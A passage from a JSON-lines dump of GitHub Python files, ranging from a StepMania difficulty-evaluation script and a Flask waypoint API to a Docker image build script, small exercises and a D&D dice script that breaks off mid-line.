k:\n\t\t\t\tcontinue\n\n\t\t\trow = row_tuple._asdict()\n\t\t\tnames = row['Name_x'] + \"-{}\".format(row['Difficulty_x']), row['Name_y'] + \"-{}\".format(row['Difficulty_y'])\n\n\t\t\tif names[0] in completed_name_set and names[1] in completed_name_set:\n\t\t\t\tcontinue\n\t\t\telif names[0] in completed_name_set or names[1] in completed_name_set:\n\t\t\t\tidx = (1 if names[0] in completed_name_set else 0)\n\t\t\t\tif not names[idx] in waiting_name_queue or completed_name_set[names[1 - idx]] > 1:\n\t\t\t\t\twaiting_name_queue.add(names[idx])\n\t\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tidx = -1\n\t\t\t\tcompleted_name_set[names[0]] = 1\n\t\t\t\tcompleted_name_set[names[1]] = 1\n\n\t\t\tif idx >= 0:\n\t\t\t\twaiting_name_queue.remove(names[idx])\n\t\t\t\tcompleted_name_set[names[idx]] = 1\n\t\t\t\tcompleted_name_set[names[1 - idx]] += 1\n\t\t\telse:\n\t\t\t\tfor idx in [0, 1]:\n\t\t\t\t\tif names[idx] in waiting_name_queue:\n\t\t\t\t\t\twaiting_name_queue.remove(names[idx])\n\n\t\t\tdifficulty = max(row['Difficulty_x'], row['Difficulty_y']) + 1\n\t\t\tpair_id += 1\n\t\t\tprint(j)\n\t\t\tc += 1\n\t\t\tassigned_ids[-1] = pair_id\n\t\t\tif random() > 0.5:\n\t\t\t\tvariants.reverse()\n\n\t\t\tfor i in range(2):\n\t\t\t\t# Todo: Add info AB for easier reconstruction\n\t\t\t\text = extensions[i]\n\t\t\t\tsm_fp = row['sm_fp_' + ext]\n\t\t\t\tsm_dir, sm_filename = os.path.split(sm_fp)\n\t\t\t\tdest_path = os.path.join(output_folder_path, row['Name_' + ext] + \"_{}\".format(pair_id))\n\t\t\t\tshutil.copytree(sm_dir, dest_path, dirs_exist_ok=True)\n\t\t\t\tfor file in glob.glob(dest_path + '/*.ssc'):\n\t\t\t\t\tos.remove(file)\n\t\t\t\tnew_sm_fp = os.path.join(dest_path, sm_filename)\n\t\t\t\toriginal_difficulty = row['Difficulty_' + ext] + 1\n\t\t\t\ttitle = \"#TITLE:{:02d}_{:03d}{}_{};\".format(difficulty, pair_id, variants[i], names[i].split('-')[-2])\n\t\t\t\twith open(new_sm_fp, 'r', encoding='utf8') as f:\n\t\t\t\t\ttext = f.read()\n\t\t\t\treg_select_chart = re.compile(\n\t\t\t\t\tr'#TITLE:[^;]*;(?P.*?)(?:#NOTES.*)?(?P#NOTES:\\W+dance-single:[^:]+:)[^:]+:(?P[^:0-9]+)' + str(\n\t\t\t\t\t\toriginal_difficulty) + r'(?P[^#]+).*', flags=re.DOTALL)\n\t\t\t\tnew_text = reg_select_chart.sub(\n\t\t\t\t\ttitle + r'\\g\\g\\gEdit:\\g' + str(difficulty) + r'\\g', text)\n\t\t\t\twith open(new_sm_fp, 'w', encoding='utf8') as f:\n\t\t\t\t\tf.write(new_text)\n\t\tid_array = np.array(assigned_ids)\n\t\tswap_frame['Experiment_IDs'] = id_array\n\t\tprint('Number of pairs accepted', np.max(id_array) - np.min(id_array[id_array >= 0]) + 1)\n\t\tswap_frame.to_csv(swap_frame_path)\n\n\t\t# visualize difficulty distribution in the generated packs\n\t\t\"\"\"swap_frame = swap_frame[swap_frame['Experiment_IDs'] >= 0]\n\t\tdifficulties = np.maximum(swap_frame['Difficulty_x'].to_numpy(), swap_frame['Difficulty_y'].to_numpy())\n\t\tdifficulty_counts = np.bincount(difficulties)\n\t\tplt.bar(np.arange(len(difficulty_counts)) + 1, difficulty_counts)\n\t\tplt.show()\"\"\"\n\n\nif __name__ == '__main__':\n\timport argparse\n\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('-root', type=str, help='Root directory', required=False)\n\tparser.add_argument('-input_dir', type=str, help='Relative Time series input directory', required=False)\n\tparser.add_argument('-model_dir', type=str, help='Relative Output directory', required=False)\n\tparser.add_argument('-device', type=str, help='Model Training device', required=False)\n\tparser.add_argument('-dataset', type=str, help='Name of Dataset to be evaluated', required=False)\n\tparser.add_argument('-eval_cv_id', type=str, help='ID of the cross validation that should be evaluated', required=False)\n\tparser.set_defaults(\n\t\tinput_dir='data/time_series/',\n\t\toutput_dir='model_artifacts/evaluations/',\n\t\tdevice='cuda',\n\t\tdataset=None,\n\t\troot=None,\n\t\teval_cv_id='20230429-1040_7013927',\n\t)\n\targs = parser.parse_args()\n\troot = \"\"\n\tif args.root is not None:\n\t\troot = args.root\n\teval_cv_dir = args.eval_cv_id\n\tif len(eval_cv_dir) > 0:\n\t\tprint(eval_cv_dir)\n\t\n\tprediction_distribution = True\n\tgen_swaps = False # Investigate which pairs of levels are the most debated upon in difficulty\n\tgen_swapped_pack = False # Generate a pack for human evaluation selected from these pairs\n\tmodel_comparison = True # Receive an estimate on the quality of a model based on human validated pairs\n\tranking_eval = False # Compare two models based on the ranking they define on the levels\n\n\tinput_dir = os.path.join(root, args.input_dir)\n\toutput_dir = os.path.join(root, args.output_dir)\n\tif not torch.cuda.is_available():\n\t\tdevice = 'cpu'\n\telse:\n\t\tdevice = args.device\n\n\tdata_name = 'fraxtil'\n\tif args.dataset is not None:\n\t\tdata_name = args.dataset\n\n\tdataset_aliases = {'Galaxy':'Speirmix', 'ITG':'itg'}\n\n\tif gen_swaps:\n\t\t# Important: Set of model directories that should be compared for the finding the most relevant swaps\n\t\tcv_dirs = []\n\t\tgenerate_swaps(input_dir, output_dir, cv_dirs)\n\n\tif gen_swapped_pack:\n\t\tgenerate_validation_packs(input_dir)\n\t\n\tif prediction_distribution:\n\t\tif len(eval_cv_dir) > 0:\n\t\t\tcomparison_dir = os.path.join(output_dir, eval_cv_dir)\n\t\t\toriginal_difficulties = {}\n\t\t\tpredicted_difficulties = {}\n\t\t\tfor file in os.scandir(comparison_dir):\n\t\t\t\tif file.is_file() and str(file.name).endswith('_predicted.txt'):\n\t\t\t\t\tfile_name = remove_ext(file.name)\n\t\t\t\t\tdataframe = prepare_prediction_dataframe(comparison_dir, file_name)\n\t\t\t\t\tif \"Run\" in dataframe.columns:\n\t\t\t\t\t\t dataframe[\"Predicted Difficulty\"] = dataframe[\"Predicted Difficulty\"] - dataframe.groupby(\"Run\")[\"Predicted Difficulty\"].transform(\"mean\")\n\t\t\t\t\toriginal_difficulties[file_name] = dataframe['Difficulty']\n\t\t\t\t\tpredicted_difficulties[file_name] = dataframe['Predicted Difficulty']\n\n\t\t\tdef plot_kde(difficulty_dict, difficulty_type='Predicted'):\n\t\t\t\tsmall_dfs = []\n\t\t\t\tfor dataset in difficulty_dict.keys():\n\t\t\t\t\tsmall_df = pd.DataFrame(data={'Difficulty': difficulty_dict[dataset], 'Dataset': dataset})\n\t\t\t\t\tsmall_dfs.append(small_df)\n\t\t\t\tfull_difficulty_frame = pd.concat(small_dfs)\n\t\t\t\tax = sns.kdeplot(data=full_difficulty_frame, x='Difficulty', fill=False, alpha=1, hue='Dataset', common_norm=False)\n\t\t\t\tsave_path = os.path.join(comparison_dir, \"{}DifficultyDistributions.pdf\".format(difficulty_type))\n\t\t\t\tplt.title(\"Distribution of {} Difficulties per Dataset\".format(difficulty_type))\n\t\t\t\tplt.xlabel('Difficulty')\n\t\t\t\tplt.ylabel('Density')\n\t\t\t\tax.xaxis.set_major_locator(MultipleLocator(5))\n\t\t\t\tax.xaxis.set_minor_locator(MultipleLocator(1))\n\t\t\t\tplt.grid(which='both', alpha=0.4, axis='x')\n\t\t\t\tplt.savefig(save_path)\n\t\t\t\t# plt.show()\n\t\t\t\tplt.close()\n\n\t\t\tplot_kde(predicted_difficulties)\n\t\t\tplot_kde(original_difficulties, difficulty_type='Original')\n\t\t\tfor dataset_name in predicted_difficulties.keys():\n\t\t\t\tsns.boxplot(x=predicted_difficulties[dataset_name], y=original_difficulties[dataset_name], orient='h')\n\t\t\t\tplt.title(\"Relation of Original Difficulty to Predicted Difficulties for {}\".format(dataset_name))\n\t\t\t\tplt.xlabel('Predicted Difficulty')\n\t\t\t\tplt.ylabel('Original Difficulty')\n\t\t\t\tdist_save_path = os.path.join(comparison_dir, \"DifficultyRelation_{}.pdf\".format(dataset_name))\n\t\t\t\tplt.savefig(dist_save_path)\n\t\t\t\t# plt.show()\n\t\t\t\tplt.close()\n\n\t\t\t\"\"\"small_dfs = []\n\t\t\tfor dataset_name in predicted_difficulties.keys():\n\t\t\t\tsmall_df = pd.DataFrame(data={'Difficulty': original_difficulties[dataset_name], 'Predicted Difficulty': predicted_difficulties[dataset_name], 'Dataset': dataset_name})\n\t\t\t\tsmall_dfs.append(small_df)\n\t\t\tfull_difficulty_frame = pd.concat(small_dfs)\n\t\t\tax = sns.scatterplot(data=full_difficulty_frame, x='Predicted Difficulty', y='Difficulty', alpha=0.4, hue='Dataset')\n\t\t\tplt.title(\"Relation of Original Difficulty to Predicted Difficulties per Dataset\")\n\t\t\tplt.xlabel('Predicted Difficulty')\n\t\t\tplt.ylabel('Original Difficulty')\n\t\t\tdist_save_path = os.path.join(comparison_dir, \"DifficultyRelation_AllDatasets.pdf\")\n\t\t\tplt.savefig(dist_save_path)\n\t\t\tplt.show()\n\t\t\tplt.close()\"\"\"\n\t\telse:\n\t\t\tpass # maybeTo-do\n\n\tif model_comparison:\n\t\tif len(eval_cv_dir) > 0:\n\t\t\tcomparison_dir = os.path.join(output_dir, eval_cv_dir)\n\t\t\tall_dataset_scores = {}\n\t\t\tfor file in os.scandir(comparison_dir):\n\t\t\t\tif file.is_file() and str(file.name).endswith('_predicted.txt'):\n\t\t\t\t\tfile_name = remove_ext(file.name)\n\t\t\t\t\tprint('########################################################')\n\t\t\t\t\tprint(file_name)\n\n\t\t\t\t\tscore_results = prepare_model_scoring(comparison_dir, file_name, input_dir, alias_dict=dataset_aliases)\n\t\t\t\t\tif score_results is not None and len(score_results) > 0:\n\t\t\t\t\t\tall_dataset_scores[file_name] = score_results\n\t\t\twith open(os.path.join(comparison_dir, 'scoring_results.json'), 'w') as f:\n\t\t\t\tjson.dump(all_dataset_scores, f)\n\t\telse:\n\t\t\tfor dataset_name in ['itg', 'fraxtil', 'Gpop', 'GullsArrows', 'Speirmix']:\n\t\t\t\tspecial_case = 'base'\n\t\t\t\tcomparison_dir = os.path.join(root, 'data/' + 'time_series')\n\t\t\t\t# prepare_model_scoring(comparison_dir, dataset_name, input_dir, special_case=special_case)\n\t\t\t\tname_ext = '_0.txt'\n\t\t\t\toriginal_frame_path = os.path.join(input_dir, dataset_name + name_ext)\n\t\t\t\tif os.path.isfile(original_frame_path):\n\t\t\t\t\tprint(dataset_name)\n\t\t\t\t\toriginal_frame = pd.read_csv(original_frame_path, index_col=0)\n\t\t\t\t\toriginal_frame[\"Difficulty\"] -= 1\n\t\t\t\t\toriginal_frame[\"Predicted Difficulty\"] = original_frame[\"Difficulty\"]\n\t\t\t\t\toriginal_frame.drop(list(\n\t\t\t\t\t\toriginal_frame.columns[\n\t\t\t\t\t\t\t~original_frame.columns.isin(['Name', 'Difficulty', 'Predicted Difficulty'])]),\n\t\t\t\t\t\taxis=1, inplace=True)\n\t\t\t\t\toriginal_frame.drop_duplicates(inplace=True)\n\t\t\t\t\texperiment_frame_path = os.path.join(comparison_dir, dataset_name + '_experiment_validated.txt')\n\t\t\t\t\tif os.path.isfile(experiment_frame_path):\n\t\t\t\t\t\texperiment_frame = pd.read_csv(filepath_or_buffer=experiment_frame_path, index_col=0)\n\t\t\t\t\t\tscore_model(original_frame, experiment_frame)\n\n\tif ranking_eval:\n\t\tif len(eval_cv_dir) > 0:\n\t\t\tcomparison_dir = os.path.join(output_dir, eval_cv_dir)\n\t\telse:\n\t\t\tcomparison_dir = os.path.join(root, 'data/' + 'time_series')\n\t\tcomparison_dir2 = comparison_dir\n\t\tuse_original_difficulties = False\n\t\tif comparison_dir2 == comparison_dir:\n\t\t\tuse_original_difficulties = True\n\t\tdata_set_names_a = [remove_ext(file.name, up_to=-2) for file in os.scandir(comparison_dir) if\n\t\t file.is_file() and str(file.name).endswith('_predicted.txt')]\n\t\tdata_set_names_b = [remove_ext(file.name, up_to=-2) for file in os.scandir(comparison_dir2) if\n\t\t file.is_file() and str(file.name).endswith('_predicted.txt')]\n\t\tagreement_result_cols = ['Agreement_Mean', 'Agreement_Std', 'Disagreement_Eq_Mean', 'Disagreement_Eq_Std',\n\t\t 'MostlyAgreement_Mean', 'MostlyAgreement_Std']\n\t\tagreement_result_dict = {}\n\t\tfor col in agreement_result_cols:\n\t\t\tagreement_result_dict[col] = {}\n\t\tfor file_name in data_set_names_a:\n\t\t\tif file_name in data_set_names_b:\n\t\t\t\tprint(file_name)\n\t\t\t\tframe_a = prepare_prediction_dataframe(comparison_dir, file_name)\n\t\t\t\tframe_b = prepare_prediction_dataframe(comparison_dir2, file_name, load_base=use_original_difficulties)\n\t\t\t\tagreement_results = compute_ranking_agreement(frame_a, frame_b)\n\t\t\t\tif agreement_results is not None:\n\t\t\t\t\tresult_string = ''\n\t\t\t\t\tfor i, result in enumerate(agreement_results):\n\t\t\t\t\t\tresult_string += ' ' + str(result)\n\t\t\t\t\t\tagreement_result_dict[agreement_result_cols[i]][file_name] = result\n\t\t\t\t\tprint('Ranking Acc:' + result_string)\n\t\twith open(os.path.join(comparison_dir, 'ranking_results.json'), 'w') as f:\n\t\t\tjson.dump(agreement_result_dict, f)\n\n","repo_name":"benjamin-dinkelmann/difficulty-estimation-stepmania","sub_path":"model_evaluations.py","file_name":"model_evaluations.py","file_ext":"py","file_size_in_byte":32888,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"37489600026","text":"\"\"\"\nWaypointController.py\n\nThis file serves as the controller for the RESTful API that we use to satisfy\nHTTP requests for information from our backend. It uses the Flask RESTful\nframework to marshal objects with the correct syntax.\n\n\"\"\"\n\nfrom google.appengine.runtime.apiproxy_errors import CapabilityDisabledError\nfrom google.appengine.ext import ndb\nfrom flask_restful import reqparse, marshal_with, Resource, inputs, fields\nimport logging\nimport datetime\nfrom ..models.WaypointModel import *\nfrom fields import KeyField, waypoint_fields, trip_fields, user_fields\n\nclass WaypointAPI(Resource):\n def parse_args(self):\n parser = reqparse.RequestParser()\n parser.add_argument(\n 'lat',\n type=str,\n help='latitute value of the Waypoint',\n location='json',\n )\n parser.add_argument(\n 'lon',\n type=str,\n help='longitude value of the Waypoint',\n location='json'\n )\n return parser.parse_args()\n\n @marshal_with(waypoint_fields)\n def get(self, id):\n w = WaypointModel.get_by_id(id)\n if not w:\n abort(404)\n return w\n\n @marshal_with(waypoint_fields)\n def put(self, id):\n w = WaypointModel.get_by_id(id)\n if not w:\n abort(404)\n args = self.parse_args()\n\n # apply command args\n if args['lat'] is not None:\n w.populate(lat=args['lat'])\n if args['lon'] is not None:\n w.populate(lon=args['lon'])\n return w\n\n def delete(self, id):\n w = WaypointModel.get_by_id(id)\n if not w:\n abort(404)\n\n w.key.delete()\n return {\n \"msg\": \"object {} has been deleted\".format(id),\n \"time\": str(datetime.datetime.now()),\n }\n\nclass CreateWaypointAPI(Resource):\n def parse_args(self):\n parser = reqparse.RequestParser()\n parser.add_argument(\n 'lat',\n type=str,\n default=None,\n help='latitute value of the Waypoint',\n location='json',\n )\n parser.add_argument(\n 'lon',\n type=str,\n default=None,\n help='longitude value of the Waypoint',\n location='json'\n )\n return parser.parse_args()\n\n @marshal_with(waypoint_fields)\n def post(self):\n args = self.parse_args()\n try:\n w = WaypointModel()\n\n if args['lat'] is not None:\n w.populate(lat=args['lat'])\n if args['lon'] is not None:\n w.populate(lon=args['lon'])\n w.put()\n except BaseException as e:\n abort(500, Error=\"Exception- {0}\".format(e.message))\n return w\n\n","repo_name":"bsarden/461l-final-project","sub_path":"backend/flask/src/application/controllers/WaypointController.py","file_name":"WaypointController.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"24750978511","text":"#!/usr/bin/env python\n\"\"\"\nCreate a base docker image for building pyflann_ibeis\n\"\"\"\nfrom __future__ import absolute_import, division, print_function\nimport os\nfrom os.path import join\nimport ubelt as ub\n\n\ndef main():\n\n # TODO: find a better place for root\n ROOT = join(os.getcwd())\n # ROOT = '.'\n os.chdir(ROOT)\n\n NAME = 'pyflann_ibeis'\n VERSION = '2.2.0'\n DOCKER_TAG = '{}-{}'.format(NAME, VERSION )\n\n QUAY_REPO = 'quay.io/erotemic/manylinux-for'\n DOCKER_URI = '{QUAY_REPO}:{DOCKER_TAG}'.format(**locals())\n\n dockerfile_fpath = join(ROOT, 'Dockerfile')\n\n # This docker code is very specific for building linux binaries.\n # We will need to do a bit of refactoring to handle OSX and windows.\n # But the goal is to get at least one OS working end-to-end.\n \"\"\"\n Notes:\n docker run --rm -it quay.io/pypa/manylinux2014_x86_64 /bin/bash\n ---\n ls /opt/python\n \"\"\"\n\n # BASE_IMAGE = 'quay.io/pypa/manylinux2010_x86_64'\n BASE_IMAGE = 'quay.io/pypa/manylinux2014_x86_64'\n\n docker_code = ub.codeblock(\n f'''\n FROM {BASE_IMAGE}\n\n RUN yum install lz4-devel -y\n ''')\n\n tags = [\n # 'cp27-cp27m'\n # 'cp35-cp35m'\n # 'cp36-cp36m',\n 'cp37-cp37m',\n 'cp38-cp38',\n 'cp39-cp39',\n 'cp310-cp310',\n ]\n\n pyinstall_cmds = []\n for tag in tags:\n pyinstall_cmds.append(ub.codeblock(\n fr'''\n RUN MB_PYTHON_TAG={tag} && \\\n /opt/python/{tag}/bin/python -m pip install setuptools pip virtualenv -U && \\\n /opt/python/{tag}/bin/python -m virtualenv ./venv-{tag} && \\\n source ./venv-{tag}/bin/activate && \\\n pip install pip -U && \\\n pip install scikit-build cmake ninja\n '''))\n docker_code += '\\n' + '\\n\\n'.join([*pyinstall_cmds])\n\n # RUN MB_PYTHON_TAG=cp27-cp27m && \\\n # /opt/python/$MB_PYTHON_TAG/bin/python -m pip install setuptools pip virtualenv -U && \\\n # /opt/python/$MB_PYTHON_TAG/bin/python -m virtualenv ./venv-$MB_PYTHON_TAG && \\\n # source ./venv-$MB_PYTHON_TAG/bin/activate && \\\n # pip install scikit-build cmake ninja\n\n # RUN MB_PYTHON_TAG=cp27-cp27mu && \\\n # /opt/python/$MB_PYTHON_TAG/bin/python -m pip install setuptools pip virtualenv -U && \\\n # /opt/python/$MB_PYTHON_TAG/bin/python -m virtualenv ./venv-$MB_PYTHON_TAG && \\\n # source ./venv-$MB_PYTHON_TAG/bin/activate && \\\n # pip install scikit-build cmake ninja\n\n # RUN MB_PYTHON_TAG=cp35-cp35m && \\\n # /opt/python/$MB_PYTHON_TAG/bin/python -m pip install setuptools pip virtualenv -U && \\\n # /opt/python/$MB_PYTHON_TAG/bin/python -m virtualenv ./venv-$MB_PYTHON_TAG && \\\n # source ./venv-$MB_PYTHON_TAG/bin/activate && \\\n # pip install scikit-build cmake ninja\n\n # RUN MB_PYTHON_TAG=cp36-cp36m && \\\n # /opt/python/$MB_PYTHON_TAG/bin/python -m pip install setuptools pip virtualenv -U && \\\n # /opt/python/$MB_PYTHON_TAG/bin/python -m virtualenv ./venv-$MB_PYTHON_TAG && \\\n # source ./venv-$MB_PYTHON_TAG/bin/activate && \\\n # pip install scikit-build cmake ninja\n\n # RUN MB_PYTHON_TAG=cp37-cp37m && \\\n # /opt/python/$MB_PYTHON_TAG/bin/python -m pip install setuptools pip virtualenv -U && \\\n # /opt/python/$MB_PYTHON_TAG/bin/python -m virtualenv ./venv-$MB_PYTHON_TAG && \\\n # source ./venv-$MB_PYTHON_TAG/bin/activate && \\\n # pip install scikit-build cmake ninja\n\n # RUN MB_PYTHON_TAG=cp38-cp38 && \\\n # /opt/python/$MB_PYTHON_TAG/bin/python -m pip install setuptools pip virtualenv -U && \\\n # /opt/python/$MB_PYTHON_TAG/bin/python -m virtualenv ./venv-$MB_PYTHON_TAG && \\\n # source ./venv-$MB_PYTHON_TAG/bin/activate && \\\n # pip install scikit-build cmake ninja\n # ''')\n\n # docker_code2 = '\\n\\n'.join([ub.paragraph(p) for p in docker_code.split('\\n\\n')])\n docker_code2 = docker_code\n\n try:\n print(ub.color_text('\\n--- DOCKER CODE ---', 'white'))\n print(ub.highlight_code(docker_code2, 'docker'))\n print(ub.color_text('--- END DOCKER CODE ---\\n', 'white'))\n except Exception:\n pass\n with open(dockerfile_fpath, 'w') as file:\n file.write(docker_code2)\n\n docker_build_cli = ' '.join([\n 'docker', 'build',\n '--tag {}'.format(DOCKER_TAG),\n '-f {}'.format(dockerfile_fpath),\n '.'\n ])\n print('docker_build_cli = {!r}'.format(docker_build_cli))\n if ub.argflag('--dry'):\n print('DRY RUN')\n print('WOULD RUN')\n print(docker_build_cli)\n else:\n info = ub.cmd(docker_build_cli, verbose=3, shell=True)\n if info['ret'] != 0:\n print(ub.color_text('\\n--- FAILURE ---', 'red'))\n print('Failed command:')\n print(info['command'])\n print(info['err'])\n print('NOTE: sometimes reruning the command manually works')\n raise Exception('Building docker failed with exit code {}'.format(info['ret']))\n else:\n print(ub.color_text('\\n--- SUCCESS ---', 'green'))\n\n print(ub.highlight_code(ub.codeblock(\n r'''\n # Finished creating the docker image.\n # To test / export / publish you can do something like this:\n\n # Test that we can get a bash terminal\n docker run -it {DOCKER_TAG} /bin/bash\n\n # Create a tag for the docker image\n docker tag {DOCKER_TAG} {DOCKER_URI}\n\n # Export your docker image to a file\n docker save -o ${ROOT}/{DOCKER_TAG}.docker.tar {DOCKER_TAG}\n\n # Login to a docker registry (we are using quay)\n\n # In some cases this works, but...\n # docker login\n\n # You may need to specify secret credentials\n load_secrets\n echo \"QUAY_USERNAME = $QUAY_USERNAME\"\n docker login -u $QUAY_USERNAME -p $QUAY_PASSWORD quay.io\n unload_secrets\n\n # Upload the docker image to quay.io\n docker push {DOCKER_URI}\n ''').format(NAME=NAME, ROOT=ROOT, DOCKER_TAG=DOCKER_TAG,\n DOCKER_URI=DOCKER_URI), 'bash'))\n\n PUBLISH = 0\n if PUBLISH:\n cmd1 = 'docker tag {DOCKER_TAG} {DOCKER_URI}'.format(**locals())\n cmd2 = 'docker push {DOCKER_URI}'.format(**locals())\n print('-- ---')\n print(cmd1)\n print(cmd2)\n print('-- ---')\n\n\nif __name__ == '__main__':\n \"\"\"\n CommandLine:\n python ~/code/pyflann_ibeis/dev/docker/make_base_image.py --dry\n python ~/code/pyflann_ibeis/dev/docker/make_base_image.py\n \"\"\"\n main()\n","repo_name":"Erotemic/pyflann_ibeis","sub_path":"dev/docker/make_base_image.py","file_name":"make_base_image.py","file_ext":"py","file_size_in_byte":6625,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"29581228706","text":"result = []\n\nfor i in range(10):\n game = input()\n if game == \"SP\" or game == \"PR\" or game == \"RS\":\n result.append(\"True\")\n elif game == \"PS\" or game == \"RP\" or game == \"SR\":\n result.append(\"False\")\n elif game == \"\":\n break\n else:\n result.append(\"False | False\")\n\nfor i in range(len(result)):\n print(result[i])\n","repo_name":"RodoDenDr0n/UCU_labs","sub_path":"Lab 3/rps_game.py","file_name":"rps_game.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"14665541832","text":"import dolphindb.orca as orca\n\n\norca.connect('localhost', 8848, 'admin', '123456')\n\n\ndef main():\n quotes = orca.read_table('dfs://TAQ', 'quotes')\n\n date_value = '2007.09.04'\n num = 500\n syms = quotes[\n quotes.date == date_value,\n quotes.time.between('09:30:00', '15:59:59'),\n quotes.bid > 0,\n quotes.bid < quotes.ofr,\n quotes.ofr < quotes.bid * 1.2\n ].groupby('symbol', sort=False, lazt=True).size().sort_values(ascending=False).head(num)\n\n data = quotes[\n quotes.date == date_value,\n quotes.symbol.isin(syms.index),\n quotes.bid > 0,\n quotes.bid < quotes.ofr,\n quotes.ofr < quotes.bid * 1.2,\n quotes.time.between('09:30:00', '15:59:59')\n ]\n data.set_index(['time', 'symbol'], inplace=True)\n data = ((data.bid+data.ofr) / 2).groupby(level=[0,1], lazy=True).mean()\n data = data.unstack(level=-1).ffill().sum(axis=1)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dolphindb/Orca","sub_path":"examples/basket_value_calc.py","file_name":"basket_value_calc.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"35"} +{"seq_id":"4617213612","text":"from datetime import datetime\n\nfrom fastapi import FastAPI, HTTPException\n\nimport models\nfrom vader import VaderSingleton, get_metadata\n\napp = FastAPI()\n\n\n@app.get(\"/health\", response_model=models.HealthCheckResponse)\ndef health():\n try:\n VaderSingleton()\n except:\n raise HTTPException(status_code=503, detail=\"Service Unavailable\")\n return models.HealthCheckResponse(\n status=\"up\",\n timestamp=datetime.now()\n )\n\n\n@app.post(\"/predict\", response_model=models.SentimentPrediction)\ndef predict(input: models.SentimentInput):\n vader = VaderSingleton()\n sentiment, score = vader.analyze_sentiment(input.text)\n return models.SentimentPrediction(\n sentiment=sentiment,\n score=score\n )\n\n\n@app.get(\"/metadata\", response_model=models.ModelMetadata)\ndef metadata():\n return models.ModelMetadata(\n **get_metadata()\n )\n","repo_name":"ricsi98/sentiment_analysis_api","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71086153700","text":"#!/usr/bin/python3\n\"\"\"Creates a Rectangle clas that inherits from Base class\"\"\"\nfrom models.base import Base\n\n\nclass Rectangle(Base):\n \"\"\"Rectangle class\"\"\"\n def __init__(self, width, height, x=0, y=0, id=None):\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n super().__init__(id)\n\n @property\n def width(self):\n \"\"\"getter method\"\"\"\n return self.__width\n\n @width.setter\n def width(self, value):\n \"\"\"setter method\"\"\"\n if type(value) is not int:\n raise TypeError(\"width must be an integer\")\n if value <= 0:\n raise ValueError(\"width must be > 0\")\n self.__width = value\n\n @property\n def height(self):\n \"\"\"getter method\"\"\"\n return self.__height\n\n @height.setter\n def height(self, value):\n \"\"\"setter method\"\"\"\n if type(value) is not int:\n raise TypeError(\"height must be an integer\")\n if value <= 0:\n raise ValueError(\"height must be > 0\")\n self.__height = value\n\n @property\n def x(self):\n \"\"\"getter method\"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n \"\"\"setter method\"\"\"\n if type(value) is not int:\n raise TypeError(\"x must be an integer\")\n if value < 0:\n raise ValueError(\"x must be >= 0\")\n self.__x = value\n\n @property\n def y(self):\n \"\"\"getter method\"\"\"\n return self.__y\n\n @y.setter\n def y(self, value):\n \"\"\"setter method\"\"\"\n if type(value) is not int:\n raise TypeError(\"y must be an integer\")\n if value < 0:\n raise ValueError(\"y must be >= 0\")\n self.__y = value\n\n def area(self):\n \"\"\"A method that calculates the\n area of a rectangle\n \"\"\"\n return self.__width * self.__height\n\n def display(self):\n \"\"\"Prints out the Rectangle instance with the character #\"\"\"\n\n if self.__width == 0 and self.__height == 0:\n print()\n\n if self.__y != 0:\n print(\"\\n\" * self.__y, end=\"\")\n for i in range(self.__height):\n if self.__x != 0:\n print(\" \" * self.__x, end=\"\")\n print('#' * self.__width)\n\n def __str__(self):\n \"\"\"Returns a given string\"\"\"\n return \"[{}] ({:d}) {:d}/{:d} - {:d}/{:d}\".format(\n __class__.__name__, self.id, self.__x,\n self.__y, self.__width, self.__height)\n\n def update(self, *args, **kwargs):\n \"\"\"Assigns an argument to each attribute\"\"\"\n attr_arg = [self.id, self.__width, self.__height, self.__x, self.__y]\n\n if args:\n for i in range(len(args)):\n attr_arg[i] = args[i]\n else:\n if kwargs:\n for k, v in kwargs.items():\n if k == \"id\":\n attr_arg[0] = v\n if k == \"width\":\n attr_arg[1] = v\n if k == \"height\":\n attr_arg[2] = v\n if k == \"x\":\n attr_arg[3] = v\n if k == \"y\":\n attr_arg[4] = v\n else:\n return\n\n self.__init__(attr_arg[1], attr_arg[2],\n attr_arg[3], attr_arg[4], attr_arg[0])\n\n def to_dictionary(self):\n \"\"\"Returns a dictionary representation of a Rectangle\"\"\"\n obj = {\n \"id\": self.id,\n \"width\": self.width,\n \"height\": self.height,\n \"x\": self.x,\n \"y\": self.y\n }\n return obj\n","repo_name":"Emmanuel-Ebiwari/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":3681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"24345767668","text":"#!/usr/bin/env python3\n\n# random.randint() function!\nimport random\n# 3rd party module \"dice\" 1d8 3d6\nprint('A goblin approaches! Roll to attack!')\n# set important goblin statistics\ngoblin_AC=15\ngoblin_HP=7\n\n#prompt user for their to hit modifier, assin input to 'to_hit' variable\nprint('What is your to hit modifier? (number only, no +)')\nto_hit = input('>')\n\n# prompt user for their damage dice (ignoring damage modifiers for now)\n# store input as 'damage_dice' variable\nprint('How much damage do you do? (1d8? 2d6?)')\ndamage_dice = input('>')\n# split damage dice into an array for later math (\"1d8\" becomes [1,8])\ndamage_type = damage_dice.split('d')\n\n# loop while the goblin's hp is above 0\nwhile goblin_HP > 0:\n # check if player is ready to roll\n roll_chk = 'n'\n while roll_chk != 'y':\n print('Roll to hit? (y/n)')\n player_input = input('>').lower()\n roll_chk = player_input[0]\n if roll_chk == 'y':\n # rolls a d20 to hit\n roll = random.randint(1,20)\n # adds to_hit for total_hit\n total_hit = roll + int(to_hit)\n # print to inform player of their roll\n print(f'You rolled 